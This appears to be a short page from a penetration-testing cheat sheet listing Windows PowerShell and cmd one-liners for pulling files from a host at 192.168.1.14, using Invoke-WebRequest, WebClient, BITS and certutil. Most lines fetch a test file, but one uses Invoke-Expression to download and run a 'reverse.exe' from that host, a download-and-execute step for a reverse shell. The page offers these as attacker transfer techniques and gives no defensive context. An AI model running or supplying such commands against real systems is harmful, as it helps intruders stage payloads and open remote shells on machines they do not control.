Windows

PowerShell

# Invoke-WebRequest
iwr -uri http://192.168.1.14/test.txt -outf test.txt

# Invoke-Expression
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.14/reverse.exe')

# Invoke-RestMethod
irm http://192.168.1.14/test.txt -outf test.txt

# Net.Client
(New-Object System.Net.WebClient).DownloadFile("http://192.168.1.14/test.txt", "$pwd\test.txt")

# BITS API
Start-BitsTransfer -Source http://192.168.1.14/test.txt -Destination test.txt

# WebClient
[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; (New-Object Net.WebClient).DownloadFile('http://192.168.1.14/test.txt','test.txt')

cmd

# certutil
certutil -f -urlcache http://192.168.1.14/test.txt test.txt

Last updated

Was this helpful?